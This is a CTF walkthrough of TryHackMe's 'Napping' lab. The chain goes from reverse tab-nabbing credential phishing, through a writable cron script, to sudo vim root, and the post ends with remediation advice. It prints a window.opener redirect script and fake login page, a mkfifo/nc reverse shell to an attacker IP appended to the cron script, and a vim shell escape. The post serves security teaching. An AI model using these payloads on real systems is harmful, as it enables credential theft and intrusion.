mintshell
VI

Napping

A reverse tab-nabbing link-review form steals admin credentials; an administrators-group-writable cron script pivots to another user; and a sudo-allowed vim gives root.

Platform
TryHackMe
Room
Napping(external link)
Difficulty
Medium
Vulnerabilities
writable scheduled task, insecure sudo configuration
5 min read

TryHackMe: Napping — Reverse Tab-Nabbing to Admin Creds, a Writable Cron, and sudo vim to Root

A walkthrough of TryHackMe’s “Napping”: a “submit a link for review” feature opens links with target="_blank" and no rel="noopener"**, so a reverse tab-nabbing page hijacks the reviewer’s original tab and phishes their login. From there, membership in the administrators group lets us edit another user’s cron’d script, and a sudo-allowed vim finishes the job as root.

Napping is an authorized training machine on TryHackMe; everything here was performed against a legal practice target. Captured credentials and both flags are redacted — values shown as <redacted> or THM{<redacted>} are real on the box but withheld here.


TL;DR — the whole chain

TL;DR

Register an account and find a submit-a-link-for-review form that renders links with target="_blank" and no rel="noopener" → that is reverse tab-nabbing: the page we get opened can rewrite the reviewer’s original tab via window.opener → point it at a fake admin login (an /admin panel exists), wait for the admin to “log in again”, and capture their credentials → SSH in as daniel, who is in the administrators group and can write /home/adrian/query.py, a script cron runs every minute as adrian → drop a reverse shell for a shell as adrian (user flag) → sudo -l allows /usr/bin/vim as root → sudo vim -c ':!/bin/sh' → root.

The target

export IP=<target-ip>
export ATTACKER_IP=<your-ip>
22/tcp  OpenSSH 8.2p1
80/tcp  Apache 2.4.41  (custom Login page, PHP)

The site lets you register. Logged in, there is a form to submit a URL “for review” — i.e. a human (the admin) will open your link. gobuster also finds an /admin login panel.

The submitted links are rendered with target="_blank" and no rel="noopener noreferrer".

Insight

A link opened with target="_blank" but without rel="noopener" hands the newly opened page a live handle to the tab that opened it, through window.opener. So when the admin reviews our link, our page runs window.opener.location = "&lt;our fake login&gt;" and silently navigates the admin’s original tab to a pixel-perfect copy of the /admin login. The admin comes back, sees a “session expired” login, types their password — and it POSTs to us. This is reverse tab-nabbing: no XSS, no injection, just a missing link attribute.

Step 1 — build the tab-nabbing pages

Two files on our server. blog.html is what we submit for review; it redirects the opener tab to our fake login. index.html is a clone of the real /admin login whose form posts to us:

# blog.html  (the link we submit)
<script> window.opener.location = "http://<attacker-ip>:8000/index.html"; </script>

# index.html  (fake admin login; styled identically to /admin)
<form action="/admin/login.php" method="post"> ...username/password... </form>

Serve both pages, submit the blog.html link in the review form, and watch the traffic. When the admin reviews it, their original tab flips to our fake login; their re-login lands in our capture:

python3 -m http.server 8000        # (and :80 as needed)
# submit http://<attacker-ip>:8000/blog.html for review, then sniff:
# POST /index.html  ->  username=daniel&password=<redacted>

Step 3 — SSH as daniel, pivot to adrian via a writable cron

The stolen credentials work over SSH. daniel is a member of the administrators group, and the user flag lives in /home/adrian:

ssh daniel@$IP            # daniel / <redacted>
id                        # ... groups=...,1002(administrators)
ls -l /home/adrian/query.py
# -rw-rw-r-- 1 adrian administrators ...   <- group-writable

query.py is a site-status checker that runs every minute (its site_status.txt log proves it) as adrian. Since the administrators group can write it, append a reverse shell and wait a minute:

cat >> /home/adrian/query.py <<'EOF'
import os
os.system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-ip> 4444 >/tmp/f')
EOF
# nc -lvnp 4444  ->  shell as adrian
cat /home/adrian/user.txt   # THM{<redacted>}

Step 4 — adrian → root via sudo vim

sudo -l
# (root) NOPASSWD: /usr/bin/vim
sudo /usr/bin/vim -c ':!/bin/sh'
# whoami -> root
cat /root/root.txt   # THM{<redacted>}

vim under sudo is a textbook GTFOBins shell escape — :!cmd runs a command as the sudo target (root).

Impact

Critical

High — credential theft to root. The reverse tab-nabbing flaw steals the administrator’s password with a single reviewed link (no victim interaction beyond the review they are expected to do), rating around CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H). A group-writable, cron-executed script then provides lateral movement, and sudo vim is instant root. Each link in the chain is a missing-control, not a memory bug.

Fix

  1. Add rel="noopener noreferrer" to every target="_blank" link (modern browsers default to this, but never rely on it), so opened pages cannot touch window.opener.
  2. Do not make cron-executed scripts group-writable. query.py runs as adrian every minute — a member of a shared group editing it is instant code execution as adrian. Own it adrian:adrian, mode 644.
  3. Never grant sudo vim (or less/man/awk/find): they all spawn shells. Use a purpose-built, non-interactive tool if an operator needs elevated access.
  4. Apply least privilege to groups — the administrators group’s write access to another user’s home was the pivot.

Takeaways

  • A “submit a link” feature means a human opens your link. Check for target="_blank" without noopener — reverse tab-nabbing turns that into credential phishing.
  • Group membership is attack surface. Always check id; a shared group that can write someone else’s cron’d script is lateral movement.
  • Anything run on a timer that you can edit is a shell. Confirm execution (the status log) before waiting.
  • Check sudo -l first. One GTFOBins entry (vim) collapses the whole privesc.

Thanks for reading. Napping is a client-side-to-root story: a missing rel="noopener" steals the admin’s password, a writable cron carries you sideways, and sudo vim wakes you up as root.